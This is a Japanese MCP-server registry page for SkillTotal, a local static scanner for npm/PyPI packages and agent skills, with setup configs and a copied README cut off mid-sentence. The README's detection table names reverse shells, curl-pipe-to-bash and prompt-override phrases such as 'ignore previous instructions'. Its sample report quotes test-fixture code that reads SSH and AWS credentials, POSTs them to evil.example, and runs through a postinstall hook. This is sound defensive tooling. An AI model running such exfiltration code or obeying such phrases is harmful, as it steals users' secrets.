SkillTotal
概要
作者による説明(英語の原文)
Deterministic security scan of MCP servers, agent skills and npm/PyPI packages. Runs locally.
できること
このサーバーのやさしい解説はまだ書いていません。以下はレジストリから読み取った事実です。
- 接続方法: パソコンで動く
- トランスポート: stdio
- カテゴリ: 開発者ツール
インストール
使っているAIアプリを選んで、設定をコピーしてください。
チェック 3/3 合格 · あなたのパソコンで動きます
まず:どの AI を使っていますか?
使っているアプリを選ぶと、下に手順が表示されます。
Claude につなげますが、先に準備が必要です
先にパソコンへ Python (uv) を入れてください(1 回だけ) · パソコン版 Claude アプリ(Windows または Mac)のみ。Web やスマホでは使えません
パソコン版 Claude アプリの設定ファイルを開く
SettingsDeveloperEdit Config
この設定を貼り付けて保存
{ "mcpServers": { "skilltotal": { "command": "uvx", "args": [ "skilltotal", "mcp" ] } } }Claude を終了してもう一度開く
試してみる
SkillTotal を使って、私に何ができるか教えて、1 つやってみせて✓ Claude が SkillTotal を使っていると言うか、回答に SkillTotal のツール名が出れば接続成功です
メニュー名は 2026年11月11日 に Anthropic のヘルプページで確認 · アプリのバージョンにより画面が少し違うことがあります
ChatGPT はまだ SkillTotal につなげません
SkillTotal はパソコンに入れて使うものですが、ChatGPT は Web 上で動くサーバーにしかつなげません
代わりにできること
A · SkillTotal につなげるアプリを使う
- 先にパソコンへ Python (uv) を入れてください(1 回だけ) · パソコン版 Claude アプリ(Windows または Mac)のみ。Web やスマホでは使えません
- 先にパソコンへ Python (uv) を入れてください(1 回だけ)
- 先にパソコンへ Python (uv) を入れてください(1 回だけ)
- 先にパソコンへ Python (uv) を入れてください(1 回だけ)
B · 開発者ツール の中で ChatGPT につなげる別のサーバー
同じカテゴリでよく使われているものから、キーなしでアドレスだけでつなげるものを選びました
- Sentry✓ ChatGPT
- Front-End Checklist✓ ChatGPT
- Compiler Explorer✓ ChatGPT
Claude Code につなげますが、先に準備が必要です
先にパソコンへ Python (uv) を入れてください(1 回だけ)
ターミナルを開く
Mac:Command+スペースで Terminal と入力 · Windows:PowerShell を開く
このコマンドを貼り付けて Enter
claude mcp add skilltotal -- uvx skilltotal mcpClaude Code で /mcp と入力
SkillTotal が一覧にあり、接続済みと表示されれば OK です
試してみる
SkillTotal を使って、私に何ができるか教えて、1 つやってみせて✓ Claude Code が SkillTotal を使っていると言うか、回答に SkillTotal のツール名が出れば接続成功です
メニュー名は 2026年11月11日 に Anthropic のヘルプページで確認 · アプリのバージョンにより画面が少し違うことがあります
Cursor につなげますが、先に準備が必要です
先にパソコンへ Python (uv) を入れてください(1 回だけ)
Cursor の AI チャットを Agent モードで開く
試してみる
SkillTotal を使って、私に何ができるか教えて、1 つやってみせて✓ Cursor が SkillTotal を使っていると言うか、回答に SkillTotal のツール名が出れば接続成功です
メニュー名は 2026年11月11日 に Cursor のヘルプページで確認 · アプリのバージョンにより画面が少し違うことがあります
VS Code につなげますが、先に準備が必要です
先にパソコンへ Python (uv) を入れてください(1 回だけ)
VS Code の AI チャットを Agent モードで開く
試してみる
SkillTotal を使って、私に何ができるか教えて、1 つやってみせて✓ VS Code が SkillTotal を使っていると言うか、回答に SkillTotal のツール名が出れば接続成功です
メニュー名は 2026年11月11日 に VS Code のヘルプページで確認 · アプリのバージョンにより画面が少し違うことがあります
開発者向け:ターミナルのコマンドと JSON 設定
パソコンにインストール
Claude Code
claude mcp add skilltotal -- uvx skilltotal mcpClaude Desktop (claude_desktop_config.json)
{
"mcpServers": {
"skilltotal": {
"command": "uvx",
"args": [
"skilltotal",
"mcp"
]
}
}
}Cursor (~/.cursor/mcp.json)
{
"mcpServers": {
"skilltotal": {
"command": "uvx",
"args": [
"skilltotal",
"mcp"
]
}
}
}VS Code (mcp.json)
{
"servers": {
"skilltotal": {
"type": "stdio",
"command": "uvx",
"args": [
"skilltotal",
"mcp"
]
}
}
}この設定は、作者のレジストリ登録情報から作成しています。READMEと違う場合は、READMEに従ってください。
ひと目でわかる
使えるアプリ
このサーバーのつなぎ方と、各アプリの公式ドキュメントに基づきます。2026年11月10日に確認。
パソコン上で動かせるアプリ
ClaudeGooseLM StudioMsty StudioCherry StudioCursorVS Code + GitHub CopilotVisual StudioWindsurf (Devin Desktop)ZedKiroClineContinueJetBrains AI AssistantClaude CodeCodex CLIGemini CLIOpenCodenodecodeWarpLibreChatRaycast
できること
パソコンで動くサーバーです。インストールすると、ツール一覧がAIアプリに表示されます。
基本チェックi
誰でも見られる情報をチェックしており、コードは読んでいません。当てはまらない項目は数に入れていません。 · 2026年11月11日にチェック
- ✓ 合格
作者とリポジトリが一致
レジストリ名はドメイン skilltotal.ai で確認済みです(レジストリがドメインの所有を確認しています)
- ✓ 合格
今もメンテナンスされている
コードの最終更新:一昨日
- ✓ 合格
ライセンスがある
Apache-2.0を使用
- – 対象外
エンドポイントが応答する
これはパソコンで動くため、インターネット上のエンドポイントはありません
- – 対象外
OAuthでサインイン
パソコンで動き、代わりにローカルの設定を使います
- … 未チェック
ツールの説明に隠れた指示がない
パソコンで動くサーバーです。ツール一覧を読み取れるのは、インターネット上のエンドポイントがある場合だけです
話し合い
質問、コツの共有、使えないことの報告ができます。「役に立った」の多い順です。
ユーザーレビュー
まだレビューはありません
開発者ツールのほかのサーバーとの比較i
- このカテゴリのほかの5759件のうち92%よりスターが多い
- このカテゴリのほかの5759件のうち93%より最近レジストリに公開
- 基本チェックの結果が、このカテゴリのほかの5759件のうち100%と同じかそれ以上
レジストリでこのカテゴリにある有効なすべてのサーバーと比較しています。スターは、公開者がリポジトリの所有者である場合だけ数えます。
よくある質問
SkillTotalは安全ですか?
当てはまる基本チェック3項目のうち3項目に合格しました。コードは読んでいません。キーやトークンを追加する前に、サーバーがどんなアクセスを求めているかを確認し、必要な権限だけを持つキーを使ってください。
どんなキーやコードが必要ですか?
レジストリには必須のキーは載っていません。ただし、最初に使うときにサインインを求めるサーバーもあります。
パソコンで動きますか、それともクラウドですか?
あなたのパソコンで動きます。必要なときにAIアプリが起動し、データは作者のサーバーを通りません(サーバー自体がオンラインサービスを呼び出す場合を除きます)。
今もメンテナンスされていますか?
GitHubリポジトリの最終更新は一昨日、最新バージョン(1.0.0)がレジストリに届いたのは一昨日です。
どのアプリで使えますか?
Claude Desktop、Claude Code、Cursor、VS CodeなどのMCP対応アプリで使えます。パソコンにPython (uv)も必要です。
代わりに使えるものは?
同じカテゴリには:REA, Netdata, Front-End Checklist
代わりの候補
同じカテゴリで、ほかの作者が作ったサーバー。スターの多い順。
カードの見方:↓ 週あたりのダウンロードi★ GitHubスターi3つの柱:レビュー · チェック · 利用状況i更新=最新バージョンをレジストリに公開した日i
Netdata
Real-time infrastructure monitoring with metrics, logs, alerts, and ML-based anomaly detection.
Front-End Checklist
Review frontend code and live pages against 386 quality-gated web development rules.
作者のREADME
READMEを開く
作者のリポジトリから書かれたとおりにコピーしたものです。PopNx MCPは内容を確認・推奨していません。HTML、画像、スクリプトは取り除いています。リンクはこのサイトの外へ移動します。
Check packages before your coding agent installs them.
A static security scanner for npm and PyPI packages, MCP servers, agent skills and repositories.
Runs on your machine · never runs the code it scans · no LLM · every finding cites a file and line
Quick start · Claude Code plugin · GitHub Action · CLI · What it detects · Try it online
The plugin's real answer for a sanitized test package. No real package is shown.
Quick start
pipx install skilltotal
skilltotal scan npm:express # or pypi:name, a git URL, a folder, an archive
Check what your coding agent installs. Inside Claude Code:
/plugin marketplace add pezhik/skilltotal
/plugin install skilltotal@skilltotal /reload-plugins
Gate pull requests. Add one step to a workflow (full example with permissions):
- uses: pezhik/skilltotal@v0.95.0
with: { source: ., fail-on: high }
To try it without installing anything, www.skilltotal.ai runs the same engine.
Choose your path
| You want to | Start here |
|---|---|
| Check packages before Claude Code installs them | Claude Code plugin |
| Check packages before another agent installs them | Agent hooks, each with a support tier, or the MCP server and guard |
Scan a package, repository, folder, archive, .vsix, .mcpb or wheel yourself | skilltotal scan |
| Gate pull requests in CI | GitHub Action and other CI |
| Adopt it on a repository that already has findings | Rolling out with a baseline |
| Review a dependency upgrade before you merge it | diff --fail-on-new |
| Check the MCP servers, plugins, skills and editor extensions installed on your machine every day | Installed components |
| Run that check on a company fleet, feed a SIEM, export an AI-BOM | Running it on a fleet |
| Accept a false positive | Accepting findings |
| Scan through a company registry mirror | Registry mirrors |
What it catches
It scans npm and PyPI packages, MCP servers, agent skills and plugins, VS Code extensions, git repositories (or one folder of them), local folders, archives (including .mcpb, .vsix and wheels) and single files, and looks for:
| Category | Examples | |
|---|---|---|
| Shell execution | subprocess.*, os.system, child_process.exec, `curl … \ | bash` handed to a shell call |
| Filesystem access | open, read_text/write_text, fs.readFile/writeFile | |
| Sensitive paths | ~/.ssh, ~/.aws, .env, id_rsa, credentials, secrets | |
| Network egress | requests, urllib, aiohttp, fetch, axios | |
| Install-time execution | npm preinstall/postinstall/prepare, setup.py hooks, a lifecycle script that downloads or decodes code and runs it | |
| Dynamic code execution | eval, exec, compile, new Function, vm.runInNewContext | |
| Obfuscation | decode-and-execute chains, base64 blobs, hex escaping, minification | |
| MCP risks | manifests, dangerous tools (shell/fs/network/credential), server commands | |
| Prompt surface | "ignore previous instructions", "reveal system prompt", exfiltration phrasing | |
| Post-exploitation | reverse tunnels and shells, planted SSH keys, autostart persistence, antivirus or Gatekeeper evasion, host beacons |
It also flags hidden Unicode in agent-facing text, embedded secrets, auto-approved MCP tools and data flows such as a credential read followed by network egress. skilltotal rules list prints every rule; coverage by component type and accuracy notes are in docs/detection.md.
Example report (a sanitized test package from this repository)
$ skilltotal scan tests/fixtures/malicious_npm_pkg
SkillTotal Security Report ========================== Component : evil-npm-pkg 0.0.1 (npm_package) Source : tests/fixtures/malicious_npm_pkg Verdict : HIGH - High risk - review before installing Risk : HIGH (score 70/100)
Findings (3 risk, 4 capability, not scored): [CRITICAL] ST-COMBO-EXFIL Sensitive-data access combined with network egress Evidence:
- index.js:7 const key = fs.readFileSync(process.env.HOME + '/.ssh/id_rsa', 'utf8');
- steal.js:3 const data = fs.readFileSync(process.env.HOME + '/.aws/credentials', 'utf8');
- index.js:13 fetch('http://evil.example/collect', { method: 'POST', body: key }); ... and 1 more (all of them in --json)
[HIGH] ST-INSTALL-DROPPER Install-time hook paired with a dropper payload Evidence:
- package.json:6 "postinstall": "node steal.js" ...
Shortened. The full report also prints descriptions, recommendations, capabilities and review items.
Why SkillTotal
- The Claude Code plugin checks each
npx,npm install,pip installorclaude mcp addcommand before the agent runs it. - Scans run on your machine with no account, API token, upload or telemetry, and SkillTotal never runs the code it reads. The exception is the agent hooks' lockfile lookup: public package names and versions go to OSV, and
SKILLTOTAL_OSV=0turns that off (Network access). - Detection is regex and AST matching with no LLM, so the same input on the same Python version gives the same findings and score. Every finding cites a file and line, and recall and precision are published.
- Zero runtime dependencies (Python standard library only) make it easy to audit, vendor or run air-gapped.
- Reports carry a behavioral trait fingerprint mapped to the Cloud Security Alliance (CSA) agentic threat model, MAESTRO layers and MITRE ATLAS tactics; findings carry OWASP Agentic Skills Top 10 ids.
- It is open source (Apache-2.0), and the full static report is free, forever.
How it works
SkillTotal fetches the component (a shallow git clone or the package archive), reads every file once and runs its scanners over them. It correlates the findings (a credential read plus network egress becomes an exfiltration path) and scores the result from 0 to 100. It looks only at the component's own files, never at the user, company, environment, deployment or runtime context. Every confirmed finding carries evidence (file, line range, code snippet); a signal that cannot be tied to evidence goes to needs_review, which never affects the score. A capability such as shell or network access is reported but scores zero. Details in docs/architecture.md and docs/scoring.md.
Claude Code plugin
Before an install command runs, the plugin scans each package it names, locally and with the same engine as the CLI. It reads npm, pnpm, yarn, bun, npx, pip, uv, uvx, pipx, poetry and similar installs, claude mcp add (and the Codex and Gemini equivalents), claude plugin install, code --install-extension and npx skills add, including when they are wrapped in sudo, bash -c, $(...) or PowerShell. Install the CLI first (skilltotal --version must work where you start Claude Code), then run the three commands from Quick start.
| The scan finds | What happens to the install |
|---|---|
| Malicious indicators | Denied. The agent is told the finding and its file:line |
| High or critical risk, a look-alike package name, or anything it could not check (a custom registry, a name built at run time, a command hidden behind a decoder, a check that failed or ran out of time) | Claude Code asks you |
| Nothing of that kind | It installs. The agent gets a one-line note with the version checked and its score |
| Anything it would ask about, in CI | Denied: CI is fail-closed (see below) |
Each install command gets a console line saying what was checked, or what was not and why. In CI (CI, GITLAB_CI, JENKINS_URL and similar, or SKILLTOTAL_STRICT=1) nobody is there to answer,